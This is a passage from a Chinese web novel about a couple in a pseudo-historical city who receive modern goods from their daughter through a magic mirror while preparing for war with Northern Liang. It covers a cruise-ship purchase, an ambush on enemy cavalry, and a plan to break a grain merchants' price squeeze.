“这是什么?”袁博文注意到旁边礼盒里面的长筒样物件了,拿起来摆弄了一会,惊呼:“这是……望远镜?!” 谢云溪早就看出来了。他们屋里就有一个望远镜,而且比这个不知道先进了多少倍。 “何家这是从哪儿弄到的这东西?”袁博文惊奇极了,颠来倒去看,一会后,与谢云溪的目光对上了。 两人都想到了同样一个词———海外! 西方最早出现的望远镜就是镜筒很长的这种。 一时间,两人都对海外憧憬上了。 “以后有了时间,咱们也去看看!”袁博文说。 谢云溪笑眯眯点头:“好!” 说起了海外,袁博文就想到了船。 “对了,今天淼淼那边的事情进行的顺利吗?” 谢云溪的嘴角忍不住扬了起来:“很顺利!”她把袁淼告诉的事情经过转述了一遍。 袁博文也喜不自胜:“好!好!不过,我现在抽不出时间……” 北凉大军即将要来,这些天他和其他人忙得跟陀螺似,郴州城里的事情刚刚理顺,城防和外围的布置也才开始。 金矿那边只是暂时派人围住了,将何家的人全部拿到了大牢里,在原本的工人里面挑了几个出来管事,继续原本的采矿作用。其他事情,他都没有动。属实抽不出时间来。 既然要与上面合作开采金矿,那首先他得对金矿的情况有一定了解,否则的话,根本没法谈。 现代的人过不来,专家再厉害,技术再先进,无法到现场,他如果再不能提供相关数据,事情就没法进展下去了。 “陈秘书长只是让你有时间了面谈,并没有催促,你先别着急。” “这些是淼淼收集到的有关开采金矿的信息,你先看看。” 袁博文接过后翻看了几张,点点头:“很详细啊。” 女儿还是跟以前一样,做事认真仔细,不怕困难。 明明对这些一点儿都不懂,还找了这么多资料。而且,这些资料上面还有标注,这是她事先已经看过了。 袁博文把资料收了起来。 合作开采金矿的事情可以暂缓,但是船的事情要落实了。 好在,一开始他就想到了跑路,来到郴州后,第一件事情就是在海边圈了一块地,离军营不远,所有闲杂人等一律不能靠近。 三亿左右的中小型游轮,价格不贵,买下来后,可以就停靠在那里。到时候,他再让人围起来。 “船的事情……你跟淼淼说,咱们先买一艘,就是价值三亿左右的那种,地方,我已经找好了!” 谢云溪点了点头,又问:“船买回来了,由谁来驾驶?” 袁博文早就想过这个问题。新江市就在江边,他见过的江船不少,虽然他不会驾驶,但是对驾驶室里面的设备并不陌生。 游轮虽然跟江船不一样,但是他相信大同小异,如果有视频和资料,他应该可以能够学会驾驶。 自己学会之后,就可以教其他人了。 虽然,现代化知识体系与这里科举制度不一样,但是驾驶员并不一样非要掌握扎实的机械类知识。单纯的学会操作,对于一些动手能力强的人来说,并不是一件难事。 学会了驾驶之后,其他的事情可以慢慢来。他们只要能与女儿保持联系,行驶过程中出现了问题,应该不难解决。 当然,他也明白,这不是短时间内就能达成的目标。 “行吧,我跟淼淼说。我们是暂时先只买一艘,对吧?” 袁博文点头:“先买一艘。” 既然能买到同种类型的游轮,学会驾驶其中一艘就可以了。 夫妻俩人商定好后,谢云溪看了看时间:“淼淼现在应该还没有休息。” 袁博文考虑了片刻,“现在就跟她说吧。” 看到镜子发生变化时,袁淼刚跟宋颜打完电话。 “爸,妈妈把今天的事情都告诉你了吗?” “我都知道了!合作开采金矿的事情,等我这边把情况摸清楚之后,你再约陈秘书长他们。” “好!那……船呢?” 袁博文看了谢云溪一眼:“这件事情我跟你妈刚刚商量好,大船不好买,我们就买小船!就是陈秘书长说的那种能承载二三百人的小型游轮!先买一艘!” 袁淼顿了顿:“……好!一艘够吗?” “你爸爸的意思是,咱们先买一艘!学会操作需要时间。等人员培训好了,我们要离开的时候,看情况决定是否再买!” 如果要带走的人多,可以多买几艘,如果没有那么多人,或者局势好转了,船买多了,纯属浪费。 三亿!也不是一个小数! 袁淼答应了。 “爸爸,你前几天让我买的东西,我已经买到了,什么时候给你?” “就明天吧!” 军需仓库,他也准备好了。那地方原本是郴州守军的军需仓库,地方不小。北凉进城后,那里就荒废了。他们接手后,他就让吴万乾把那里清理了出来。 约好了明天传递军需等物资的具体的时间后,袁淼就跟父母断开了联系。 夜已经深了,她却在为难。 就在刚才与父母说话之前,她给宋颜打过电话了,证实了陈博川的话。 宋颜已经在与澳西环球旅游公司洽谈游轮出售的事情,并且到了尾声。 载客量约六百多人的大中型游轮,也就使用了两年,维护的不错。宋颜的团队跟他们商谈买价时,由三十多亿,砍到十八亿左右,近乎打了对折。 而现在,她又要反悔。 不买了。 袁淼不知道怎么开口了,她刚才跟宋颜道了谢,虽然提到了她要最后确认才决定是否购买,但是转折来得太快了。 宋颜会不会将她骂 一顿?会不会觉得她不可理喻? 为了这件事情他忙了这么久,却得到了这样的回复…… 袁淼纠结了好一会儿。 不好开口。 但是,这个口必须得开!十八亿的游轮,她买来几乎没有用!除非,她打算开海上环球旅游公司。 拿起手机的时候,袁淼的头皮都在发麻。 电话那头很快接通了。宋颜略有些低哑的声音传了过来。 “喂,还没有睡?” 袁淼干干笑着:“是啊……没有打扰到你吧?” 宋颜似乎心情很好:“怎么会?接到电话,我很高兴。” 他的声音低沉暗哑,跟平时不大一样。 袁淼依旧干笑着,心里暗道:希望你的好心情一直维持下去。 “宋总……船的事情……” “你已经说过了,今天晚上你已经说五次谢谢。” 袁淼完全不记得这个了:“……是吗?” “我想我们之间应该不用这么客气吧?” 袁淼连忙接上:“是!宋总……” “你可以叫我宋颜……或者我的另一个小名……” 袁淼有点懵,脱口而出:“什么?” 她记得宋颜的小名,叫小宝? “颜颜!小时候奶奶偶尔这么叫我。” 袁淼觉得自己的头顶下起了瀑布,一时间怀疑,电话对面到底是不是宋颜。 宋颜的小名居然叫颜颜? “我父母在世的时候,他们会叫我小颜。” 袁淼顿时收起自己胡思乱想。 宋颜的父母,已经不在了吗? 她想起宋颜以前说过的话,他是奶奶一手带大的。 袁淼心里突然有些酸涩,她也算是奶奶一手带大的孩子。 “好!宋颜!”她打起来精神,小心翼翼说,“……澳西环球旅游公司的游轮,我……可不可以不要?” “当然可以!我们并没有签署最终交易合同,目前只是洽谈阶段,你确定不要吗?” “确定!”袁淼连忙说。 “好!我通知他们。” 袁淼松了一口气,宋颜的回答太快了,完全出乎她的意料之外。 “澳西环球公司那边不会有麻烦吧?” “不会,我来解决。” 袁淼心里感动,迟疑说:“你……不问我为什么吗?” 宋颜似乎笑了一下:“你不想要,那就不要。至于理由,这很重要吗?” 袁淼不知道说什么了,要和不要,都是她的一句话,但是中间周旋奔波却是宋颜。 作为百年宋记如今实际上的掌权人,他当然不会很闲。 但他却为了她的事情一趟一趟往澳西跑。与对方接触洽谈,也是自己亲自出面。 “宋颜,谢谢你!”袁淼轻声说。 宋颜笑了一下:“很感激我?今天晚上你已经说六次了……要不,你请我吃顿饭吧?” “呃……好啊!”袁淼几乎妙答,“你什么时候有时间?” 电话那头的宋颜顿了顿:“明天,可以吗?” “当然可以!” “那说好了,明天我来接你!” 挂了电话,袁淼在座椅上转了一个圈,令人头疼的泡¥沫¥独¥家事情就这么轻松解决了! 宋颜,真的很好! 想到刚才电话里的声音,以及宋颜曾经说过的话。袁淼脸上的笑渐渐淡了下去。 宋颜很好,但她却无心。 可这个重要吗? 比起父母的安危,她心里的想法算得了什么? 所谓的爱,她又不是没有经历过,不过如此罢了。 宋颜很好,又能帮到她,不管是做朋友,还是其他,都值得拥有。 * 姜云枝和蒋新月服药后的第三天,谢云溪又给她们做了一次B超。 结果很好,两人的孕囊都已经排出去了。 询问得知她们这几天腹痛和出血情况都在减轻后,谢云溪笑着说:“好了,你们已经没什么事儿了。不过,接下来的几天,还是注意休息和保暖。” 姜云枝和蒋新月都高兴的点头。陪同她们一起过来的宋婆婆不敢相信听到的。等姜云枝和蒋新月离开后,她狐疑问:“夫人,真的打下来了吗?” 这几天,她提心吊胆。但两个丫头既没有疼得满屋打滚,也没有谁出现血崩的情况,除了精神不大好以外,其他几乎看不出吃过药。 这哪里像是在打胎?与她见过的,听过的,都不像。 除了是药没起效果,或者是药不对以外,她想不到其他原因了。 谢云溪点头,笑着说:“真的已经下来了。” 她在影像里看得清清楚楚。 忍了一会,宋婆婆还是不放心:“要不要请郎中来看看吧?” 谢云溪愣了愣:“好!” 三天的时间,孕囊已经排出去了,药效也已经过了。想来郎中应该摸不出什么了。刚好流/产后两个丫头体质比较虚,让郎中看看,给她们开个方子补一补。 宋婆婆去请郎中了。谢云溪在院子里转了转,大门开着,她突然听到外面一连过去了好几辆摩托车。 这很少见。她知道军中的摩托车大多数都配给斥候营,斥候营的将士们一般是早出晚归,动静也不会这么大。 这里虽然没有红绿灯,但是袁博文对车辆的行驶有严格的要求。在城里飙车,这是绝对不容许的规定之一。 谢云溪心里一动,在念荟的搀扶下,走到门口。 又一辆摩托车呼啸过去了。 念荟皱了皱眉:“是斥候营的人!” 谢云溪也看到了。 这一连过去了好几波斥候营的将士,是北凉人要到了吗? 第97章 第97章 伏击 到了半夜, 谢云溪的猜测得到了证实。 刚回到府衙的袁博文身上还带着寒气,才换了衣裳,正准备要上/床。见谢云溪醒了, 他笑着说:“吵到你了?继续睡!我眯一会儿就走了!” 谢云溪往里面让了让, 袁博文卧了下来, 闭着眼睛, 摸上了谢云溪隆起的肚子。 谢云溪想到了白天见过的一幕:“是不是北凉人要到了?” “嗯,他们的先头部队已经到了飞鹤岗那边, 距离这里只有两百多公里了,大概两三天后就能到郴州城下。” 谢云溪心里一惊。两百多公里,若是两条腿走路,差不多要三四天时间。如果是急行军, 大概要两三天。有车的话,也就是三四个小时。 确实不远了。 “我能做什么?你们都安排好了吗?” “你别着急, 这次来的只是北凉的先头部队,人不多,他们的大部队还有好几天才能到。” 谢云溪想到了斥候营的望远镜和摩托车,确实能在军情探查方面有很大的优势。 “先头部队?骑兵多吗?” 袁博文点了点头:“斥候探查到的消息, 这批先头部队差不多有两千多骑。我们准备在落日谷那边设伏。定了寅时出发。明天一整天我可能都回不来,我把连虎留给你,你要是有事,就让他去办。” 谢云溪心里有些不安:“我在这里挺好!身边有天凤和念荟,府衙里也有护卫, 你把连护卫带上吧!” 身为袁博文亲卫队长的连虎身手不错, 商泽不在的时候,他顶了大梁。 “他跟着我也没什么事,我们在落日谷设下埋伏, 不会跟北凉的先头部队过多纠缠。让他留下来,帮你跑跑腿。这次,我把谷雨带走,要是有什么情况,我会让他回来找你。” 谢云溪不再说话了。 谷雨很机灵,年纪虽小,出手却很是不凡。小小年纪就能跟着霍小北一路从郴州杀出来。有他跟在袁博文身边,也不错。 她又想到了落日谷那边的地形,两边高,中间低。如果设伏,不管是在地上埋东西,还是从上面放枪放箭,都能对经过的大部队造成打击。 确实是一个很好的伏击地。 不过,这次来的是骑兵,他们通过峡谷的速度会比较快,如果不事先安排好,恐怕效果会大打折扣。 谢云溪想着这些,怎么睡着的都不知道了。一睁眼,天已经亮了,袁博文已经不在身边。 听到响动的念荟进来,协助谢云溪洗漱。 谢云溪问:“老爷什么时候离开的?” “丑时不到。”念荟回答,她看起来有些不安,“夫人,北凉人是不是要来了?” 谢云溪没有回答。袁博文的行踪,她身边的人都知道。早出晚归。昨天更是半夜才回来,凌晨两三点又走了。再加上昨天白天念荟见过斥候回营,他们能想到北凉人要来了,并不稀奇。 但是军务大事,不能随意透露。 “天还没亮,就有许多车出城了,动静不小,好多人都在说,北凉人要来了,又要打起来了!” 谢云溪笑了下:“许是夜里出城拉练,不用大惊小怪。” 念荟松了一口气,不过眉头依旧皱着。 北凉人来了,他们害怕,北凉人不来,他们的心始终悬着,也不好受。 收拾好后,谢云溪依旧带着关景钰等人来到了了枫叶巷。 女孩们的情况恢复的不错,除了几个病情较重的以外,其他人陆续走出了房间,但还是胆怯警惕,一点儿风吹草动她们就怕的不行。 晚上的动静,估计她们也听到了,眸子里惊慌害怕比前几天明显多了。 谢云溪只当没有看见,带着念荟给沈悦兰换药处理后,又把姜云枝和蒋新月叫了过来了。 宋婆婆跟着姜云枝和蒋新月一起进来,脸上的郁结已经一扫而空。 “怎么样?你们昨晚歇息得还好吧?”谢云溪问。 姜云枝和蒋新月都点头了。宋婆婆笑着说:叭义死疤以流久留3“她们今日已经吃过药了,夜里也没有出血,好得很呢!” 谢云溪笑着说:“那就好,不过这两天还是要注意,你们的身体还很虚弱,不要累到了,也要注意保暖。” 两个女孩又点头了。 宋婆婆在旁边看着,一脸欣慰笑容。她是万万没想到,袁夫人的医术居然这么了得。 那么大的事情,以往就跟过鬼门关一样,但在她手上,却像小事一桩,轻轻松松就解决了,孕妇几乎没受什么罪。 昨日郎中来看,两个丫头都摸出小月子,郎中还说落得很干净,开了两副补身子的药就离开了。 她简直不敢相信。原来,打/胎还有这么简单的。 姜云枝小心翼翼看了谢云溪一眼:“袁夫人,北凉人是不是又要来了?” 谢云溪想了想:“可能吧。不过,他们总是要来的。咱们不怕!能把他们打跑一次,就能把他们打跑两次!” 两个女孩的脸色并没有因此好些,北凉人带给她们的伤害太大了。 宋婆婆脸上的笑容也不见了,笼罩上了一层阴霾。 大家对北凉人的畏惧根深蒂固。 谢云溪并没有过多谈论这件事情,而是把几个已经痊愈的女孩叫了过来,让她们跟关景钰等人一起听讲。 大战马上就要打响了,她希望自己能出一份力。月份大了,行动不便,她给女孩们讲解了一些常见伤情紧急下处理,比如清洗包扎伤口正确运输等等。 下午回去的时候,谢云溪发现街上巡防营的士兵多了起来,米粮店的门口排起了长队。 她看了一会儿,对念荟说:“你去看看,现在的粟米和黍米都是什么价?” 念荟过去了,一会后回来:“夫人,如今粟米七十五文一升,黍米八十二文一升,比前几天涨了好多!” 谢云溪心里吃惊。他们刚到郴州的时候,就发现郴州的米粮价钱比晋州高多了。晋州那边虽然只有谢记和章记两家粮行开门,但是粟米只卖到三十文钱一升,黍米三十六钱一升。米糠的价钱则是跟半年前差不多,几乎没有涨。 但是郴州这边却几乎翻了一倍,现在居然又涨了。 商人逐利,局势越乱,他们赚得越多。 回到府衙后,谢云溪把连虎叫了过来,让他把米粮涨价的事情告诉张时文。 傍晚的时候,突然有很多车从城外开了进来,念荟也出去看了。 大街上的人很多,但是都被巡防营的人拦到了两边,军/车一辆一辆开过去,有的里面是军中的将士,有的则遮盖的严严实实。 郴州城里的百姓虽然都知道驻守在城东的晋州军有车有枪,但是这样规模的车队他们还是第一次见。 “这是什么车?” “这些晋州军是从哪里回来的?” “这些是凌晨出城的晋州军!你们没看到他们当中有人受伤吗?” “真的有人受了伤!这是怎么回事?” “北凉要来了!他们肯定是遇到北凉人!” 人群中议论纷纷,念荟心里也跟着紧张起来。她是知道袁博文天没亮就离开了府衙。 现在出城的人回来了,有的还受了伤。难道是出城拉练遇到了北凉人吗? 她仔细打量每一辆车上的人,可依旧没有看到袁博文。 车上的士兵有的头上缠着绷带,脸上和身上也都是血,而且受伤的不止一个人。 念荟心里越看越慌。拉练可不会造成这么大伤情,一定是遇到了北凉人。 她转身跑回府衙后院,将街上看到的情况告诉了谢云溪:“夫人,凌晨出城的晋州军回来了!好多人受了伤!我没有看到老爷!” 谢云溪已经听到了街上的动静,料到是参与伏击的人回来了。但是看到念荟的样子,她心里仍然紧张起来,不过想到眼下局势,她淡定点了点头。 “应该是北凉人来了!” 素来沉稳的贺天凤不由得捏了捏拳头。 “不过,咱们的人既然回来了,那就说明打了胜仗。” 至于伤亡,难以避免。 话虽然这么说,谢云溪心里却在忐忑不安。 虽然她知道袁博文身上穿着防护衣,比其他将士多了一层保护,但这层保护并不是万无一失。 “你让连护卫过去看看,军营那边可能进不去,但是医棚应该可以,你让他问问刘医官,需不需要人手帮忙?药品和其他,够不够用?” 念荟答应了,去找连虎。 谢云溪则来到旁边的院子里。袁淼传过来的医药类物品,她都放在了这里。 常用的消毒酒精碘伏纱布绷带等,她已经让人改了装,抗生素等药物也都碾成了粉,按照常规剂量分成小包。 如果袁博文受了伤,哪怕他想瞒着她,医棚他也一定会去。如果没有事,也可以通过医棚里面的情况,知道这次的伤亡情况。 谢云溪等了一会儿,连虎回来了。军营里面果然不准任何进去,但是,连虎看到谷雨。 “大人很好,没有受伤!这次他们在落日谷伏击北凉骑兵,大获全胜!” 念荟和贺天凤顿时喜形于色。谢云溪也松了一口气。 “医棚里面的情况怎么样?” “我进去的时候刘医官正在忙,里面有不少伤患,他看到我很高兴,得知是夫人让我过来的,他连连点头,让我带话,问夫人手上还有没有酒精碘伏和纱布等。” “有!”谢云溪说,指着已经清理出来酒精碘伏等,“这些就是,你赶紧让人送过去。” 这里的中医还没有消毒的概念,他们通常采取的高温熏蒸等消毒方法无法用于人体表面,所以,受伤后发生感染的概率较大。 自从谢云溪拿出酒精碘伏后,刘医官等人就发现经过酒精碘伏擦拭后的伤口,发生溃烂的情况好多了,因此经常向谢云溪讨要酒精碘伏。 谢云溪虽然知道这里人们日常饮用的白酒也有一定的消毒作用,但是她不知道工业酒精和日常饮用的白酒,消毒的区别有多大,不敢贸然把两者扯到一起,对外面只说酒精碘伏等是她独创。 既然是独家秘方,刘医官等人虽然眼热,但也没有讨要制作方法。 不过,每次军中出现较大伤情时,谢云溪都会毫不吝啬拿出酒精碘伏等。 “还有这些药,对伤口的愈合很有好处,你也拿过去,刘医官知道怎么用。” 谢云溪指着已经换成了小包装的抗菌药物对连虎说。 连虎应下了,叫来两个手下的护卫,抬着东西去了医棚。 知道袁博文没事儿,谢云溪悬起的心也落了地。入夜后,她跟往常一样跟女儿袁淼联系上了。 袁淼没有看到袁博文:“爸爸呢?” “他还在军中,今天晚上可能会回来的很晚。” 袁淼也知道父母的处境,她跟着紧张起来了:“是北凉人到了吗?” 谢云溪不想让袁淼担心,含糊说:“快了,斥候营打探的消息,北凉大军差不多还有三四天就能郴州了。” 袁淼更紧张了。三四天,也就二百多公里。 “你们还需要什么吗?” 除了买买买,袁淼也不知道自己能做什么。 谢云溪笑着说:“你不是已经买了不少东西吗?够了!别担心,你爸爸他们都准备好了。” 她所知道的,郴州城墙已经修复好了,城外的防线也都布置的差不多了。 原本袁博文等人拿下郴州之后,周围陆续有流民进城。考虑到战事即将开始,以及防线的布置。一天前,郴州城就已经不再接收流民进城了,并且在周边进行清壁坚野。 袁淼点了点头:“要是有事,你们一定及时告诉我。” 她决定这几天就在家里办公。博云贸易那边有沈若臻,博云珠宝那边也上轨道,不需要她盯着了。 “好,放心吧!”谢云溪笑着说,“游轮的事情,怎么样了?你今天去了华庆船厂吗?” “去过了。” 知道父母决定买船后,袁淼第二天就联系了王振声,今天就跟着王振声去了一趟华庆船厂。 华庆船厂载客量二百八十多人游轮,共有五层,大小房间有一百多间,餐厅会客厅游乐厅等一应俱全,跟一整栋洋楼差不多,游轮房间内部的设施非常齐全,几乎可以拎包入住。 谢云溪听了袁淼的描述,也很满意。 “游轮买到后,停靠在哪里?你想好了吗?” 袁淼点头:“王所长说了,不用我另外找地方停靠,到时候他会安排好,只要你们可以接收,明天,游轮就可以传过去了。” “至于爸爸需要资料,他会让船厂准备好。有一些资料,船厂的领导今天就给我了。” 谢云溪不由得扬起了唇角。有上面帮忙,就是不一样。 “游轮的售价是多少?” “3.28亿。” 谢云溪更满意了,这个价跟陈博川说的差不多。 “等我问过你爸后,你再把游轮传过来。” 袁淼答应了 谢云溪又拿过一个礼盒:“这是前几天何家送给我们的,是一套帝王绿首饰,你看看怎么样?” 帝王绿?! 袁淼惊呆了。她记得在魔都珠宝展会上一个金镶玉璎珞,就因为上面的翡翠是帝王绿,价格直接翻了倍,估价就到六百万到一千二百万之间。 那块帝王绿也就指头样大小。 现在 ,何家居然给父母送了一整套帝王绿首饰?! 何家真有钱啊! 谢云溪说完后,把礼盒传给了袁淼。 袁淼打开后,呼吸都不由得屏住了。 “怎么样?”谢云溪问。 “好漂亮!” 谢云溪笑着说:“你要是喜欢,就自己用。” 袁淼的眼睛依旧没有离开礼盒里面的翡翠,嘴里说道:“这至少上了十亿,我可不敢戴出去。” 谢云溪笑了:“你要是担心不安全,可以在参加特定活动时佩戴。这套首饰价值不菲,你戴出去,刚好能给博云珠宝打个广告。” 袁淼心动了。 珠宝行业的名气很重要,越是贵重的珠宝,越容易出圈,关注的人很多,不仅珠宝的持有者,珠宝的来历也会被人们津津乐道。 博云珠宝虽然在魔都小有名气了,但是魔都之外知道的人很少。 现在,她只有一家实体店和网店,虽然销量还可以。但是她手上的珠宝首饰太多了,许多都没有摆出来。父母那边的当铺还在源源不断收货。开第二家珠宝店已经是可以提上日程的事情了。 门店多了,销售量自然就能提上去。 时间不早了,袁淼虽然想见到父亲袁博文,但是母亲谢云溪已经怀孕六个多月了。又说了些话后,他们断开了联系。 谢云溪并没有马上休息,而是拿起袁淼传过来的船舶资料。 北凉人要来了,他们的船虽然买到了,但是驾驶员还不知道在哪里。袁博文暂时没时间看这些,万一形势斗转急下,需要马上离开,只有船,没有会开船的人也不行。 谢云溪看了一会儿,听到外面像是有人回来了,她以为是袁博文,正要起身,听到了谷雨的声音。 “夫人,老爷还在军中忙碌,让我回来给他捡几件换洗衣裳。” 谢云溪让谷雨稍等,又让念荟开了箱笼给袁博文找衣裳。 贺天凤问谷雨:“落日谷伏击北凉人,你也去了吗?” 谷雨点头:“那是当然,我是老爷的随从,老爷去哪儿,我自然跟着去哪儿。” “听说北凉人吃了大亏,死了不少人,是真的吗?你快跟我们讲讲!” 说起这个,谷雨眉眼都飞扬了起来。 “……昨日夜里我们寅时出发,到落日谷的时候天刚刚亮!老爷让霍大哥他们在谷里面埋下许多炸/药……炸/药,你没见过吧?” 贺天凤摇头:“那是什么?” 谷雨更得意了:“……可厉害了!这么大一包!拉了一车出去!就埋在土里面!等北凉骑兵进到谷里的时候,老爷按下手中的机关,砰一声,谷里所有的东西都被炸翻了!北凉人和他们的马一下子被炸死了好多!整个落日谷尘土遮天蔽日,人喊马嘶乱成了一团!侥幸逃过一劫的北凉人还没有找到北,就被埋伏在山腰的神/器/营机/枪手突突突打死了好多!那场景你是没见过……” 贺天凤听得津津有味:“后来呢?” “后来就打起来了!” 谢云溪不禁一笑。 谷底有炸药,上面又有机/枪/手伏击,这次北凉的先头部队吃了大亏。 骑兵再厉害,也抵不过子弹。不过,他们应该有人逃出了落日谷,否则的话,晋州守军这边回来的人不会伤这么多。 短兵相接,晋州守军对上北凉人,几乎没有优势。 北凉骑兵凶悍之名,从来都不是空穴来风。 第98章 第98章 炫耀 袁博文的衣裳捡出来后, 谷雨带上后就离开了。谢云溪又看了一会儿资料才睡。 第二天,谢云溪带着关景钰等人上街时,明显感觉到大街上的人少了许多, 巡防营的人倒是不少, 列队从街上走过, 前面两个带着qiang, 后面的人则挎着大刀,行动之间冷冽森严, 让人望而生畏。 米粮店门口也围了一圈人,铺子的大门却关着。 谢云溪对念荟说:“你去看看!” 念荟来到粮行门口,却近不了跟前。围在门口的人太多了,群情激愤, 议论纷纷。 “不要过来了!这里也关门了!” “粮食的价钱又要涨了,北凉人又要打过来!” 念荟踮起脚看了看, 果然在粮行的大门上看到暂时歇业的告示。她拉住了一个提着布袋的妇人问:“大娘,这里昨日还开着门,怎么今日就关了?” 妇人道:“你还不知道吗?北凉人又要来了!府衙那边不准粮行涨价!不仅他家,城里其他粮行也都关门了!” 念荟听得心惊肉跳, 但妇人显然知道的并不多。她又听了一会儿周围的议论,这才回转。小声把米粮店门口人们的议论告诉谢云溪。 “……听说昨日夜里张大人挨家挨户拜访了城内的数十家粮行,限制他们涨价,今日一早,城内的几家大粮行竟然不约而同关了门, 贴出暂停营业的告示!” “有几家粮行原本早上开了门的, 这会儿也都关了。” “那边门口围着的人都在说北凉又要来了……”念荟说着,看了谢云溪一眼。 谢云溪眸子稍冷。 这是要趁乱打劫,昨天战事才起, 这些粮商们就联合起来推高粮价,现在居然想以此威胁。 真是想钱想疯了。 这样的事情并不新鲜,她在晋州时就经历过一次。 所不同的是那时候的晋州有谢记粮行,袁博文在军中任职,那些粮商们联合行动时,并没有叫上他们,谢记粮行的大门始终开着,里面米粮的价格纹丝不动,一直坚持到了现在。 至于晋州的那些粮商,在北凉人打过来之前跑了不少,剩下的也没坚持多久,陆续都关了门。如今的晋州只有她的谢记粮行和章记粮行仍然开着门。 郴州这些粮商的做法不过是旧瓶装新酒,一点儿新意都没有,真以为这样就能拿捏住他们了? 简直是不知死活。 谢云溪没有理会,来到枫叶巷后,继续给女孩们讲课。快到中午时,张时文找了过来。 几天不见,张时文的变化很大。他原本就瘦,如今胡子拉碴,形容憔悴,像是变了一个人。 张二小姐见到父亲,好一会儿才叫出声:“爹爹?” 张时文却没有心思跟女儿述衷肠,只点了点头,便冲谢云溪拱了拱手:“袁夫人。” 谢云溪问:“张大人是为了米粮的事情来的吗?” 张时文轻叹了口气:“夫人料事如神!” 谢云溪的目光往两边看了看,关景钰轻轻扯了扯张二小姐,两人一道出去了。孙舒兰等人见状,也行礼过后离开了。 “张大人请坐!”谢云溪说,“郴州粮行联合起来关门的事情,我早上已经看到了。” 张时文叹了口气:“这些人唯利是图,实在冥顽不灵!” 谢云溪:“听说昨日夜里张大人走访了郴州城内数十家粮行,他们怎么说?” 张时文一脸苦闷。 昨天他接到连虎的消息后,就和几位同僚商量。这才知道郴州的粮价比晋州高了许多。 晋州粟米三十文钱一升,郴州五十文钱一升。 黍米,晋州三十六文一升,郴州竟然是六十文一升,高了整整一倍。 而现在居然又涨了,粟米到了七十五文一升,黍米八十二文一升! 让随从在街上转了一圈,才知道,米粮价钱就是下午涨起来的! 这是明晃晃的抢钱,甚至某些粮商为了赚钱,竟然大放厥词,说是北凉人又要来了!粮价还要涨,现在不买,以后有钱都买不到了。 粟米和黍米是北地百姓最常见的主食,突然推高的粮价不仅会搅乱市场,还会引发人们的恐慌,导致乱像四起。 前方战事已经开始了,郴州城内绝对不能乱。 他便和几位同僚连夜走访郴州城内的数十家粮行,与他们商量,稳定粮价。 有的粮行一说就通,表示会支持府衙维持原价。 但有的却是叫苦连天,说什么形势不好,米粮不好进货等等,他们也没办法!原价卖,那就亏本! 这些话分明就是推辞! 软的不行,他便直接限价,谁要不听,就别怪府衙不客气了,大牢里空着的位置多着呢。 谁知道今日一早,城内几家大粮行居然直接关门歇业,不卖了。 刚刚上午,他又跑一趟了,但收效甚微。原本几家支持他们的粮行也都改了口,表示他们也有难处。 “张记严记粮行说不是他们不开门,实在是原价卖不起,刘记何记等直接说他们的粮行没有粮食了!” 谢云溪心里一动,“何记?是富商何有为吗?” “正是他家,以前他家也在晋州开过粮行。” 谢云溪点了点头:“我知道他家。” “张大人既然说了不得高价卖粮,否则严惩不贷。他们把粮行关门,倒也不算是违背府衙的命令。” 张时文又轻叹了口气:“这些人有恃无恐,我实在想不出办法了,不知道夫人有没有办法?” 谢云溪想了想。她知道张时文找她,是想让谢记粮行出头,平抑粮价。毕竟,众所周知,谢记粮行有粮。 “办法倒是有,不过,需要军需所帮忙。” 张时文愣了愣,连忙说:“夫人,军需粮草动不得!” 谢云溪笑了:“张大人以为我要动用军需粮草吗?” 张时文讪讪说:“夫人一心为民,绝对不会打军需粮草的主意!” 谢云溪又笑了:“张大人不用给我戴高帽。我知道军需粮草不能动,只是想借用一下他们的名头罢。” 张时文愣住了。 “谢记粮行的粮食从晋州运到郴州,最快今日酉时就能到。不过,粮食用谢记的名头卖出去,郴州的百姓虽然高兴,但很快就忘到一边,反而谢记会被郴州其他粮商记住,以后免不了会有些麻烦。” “但如果粮食以军需所的名头散出去,效果就不一样了。” 张时文怔了怔:“夫人的意思是……”他的眼睛一下子亮了,大声说:“我明白了!” 随即深鞠一躬,拱手道:“多谢夫人!” 谢云溪笑着说:“张大人明白就好。粮食的事情,张大人无需担心。不过,让郴州百姓明白袁大人一片苦心,还需要张大人多多费心了。” 张时文连连点头,笑出满脸褶子:“夫人放心!袁大人为了郴州百姓,不惜拿出军需粮草,郴州百姓必定人人感激,日后一定会和袁大人一起共同抗击北凉敌冦!保卫郴州!” 谢云溪笑了。聪明人就是不一样,稍微点拨就明白了。 她来到郴州的时间虽然不长,但是已经看出来郴州的百姓对于袁博文等人到来,并没有很欢迎。虽然晋州守军赶走了北凉人,但要不是他们有兵有枪,郴州的百姓不一定会听话。 相反,私底下瞧不上他们的言论很多。 晋州不过一座小城,郴州比晋州大多了。郴州由来便是北地第一重城,无论经济民生,还是风土人情,都是晋州无法比拟的。 晋州守军不过是有几把枪,几辆车,侥幸把郴州城里的北凉人吓跑了,就跑到郴州城作威作福。 郴州的人将袁博文等人称之为晋州军。虽然,这只是个称谓,却也表明了郴州城的人,内心并没有把自己和晋州来的人当成一伙。 这可不是个好现象。 她相信袁博文和张时文等人一定看出来了。 这次粮食涨价的事情,倒是一个可以利用的契机。 张时文找到了解决了办法,人一下子来了精神,有些迫不及待:“夫人,粮食的事情多谢了。军需所那边我还要去一趟。” 谢云溪点点头:“张大人费心了!明日卯时你可以让人来府衙搬粮食!” 张时文笑开花了:“好好好!”又拱了拱手离开了。 谢云溪也没有继续留在枫叶巷了,回到府衙后,她就写了一封信,交给了连虎,让他去军需所调一辆卡车,去一趟晋州,把信交给袁归。 不过,晋州谢记粮行的粮食并不多。回到房间后,谢云溪就联系了袁淼。 袁淼吓了一跳,通常她和父母都是晚上联系,大白天很少,她以为出了意外。 “没事!”谢云溪笑着说,“你那里应该还有存粮吗?” 袁淼连忙点头:“有啊。粟米和黍米都有。这次要多少?” 因为谢记粮行的存在,袁淼在仓库里面始终存有一定数量的粟米黍米和米糠等,就预备着父母紧急需要时能满足供应。 谢云溪想了想郴州如今的规模,虽然城内的居民比以前少了许多,但是比晋州还是要多很多。 “五吨有吗?” “有!”袁淼秒答。五吨也就是一万斤,差不多就是她预备的存粮数额。 “好!这次粟米和黍米,都要五吨!” “米糠呢?” 谢云溪摇了摇头。粮食既然是军需所拿出来的,那就不会有米糠了。 “其他的,要不要?” “这次不要。”以后在郴州开粮行,那就需要各种各样的粮食了。 约好了传递的时间和地点后,袁淼就来到了仓库,把粮食传给了谢云溪,又打电话给沈若臻,让他赶紧再购买一批。 谢云溪看着堆放在院子的粮食发呆。 各有五吨的粟米和黍米不是一个小数,寻常粮行一般都不会有这么多。 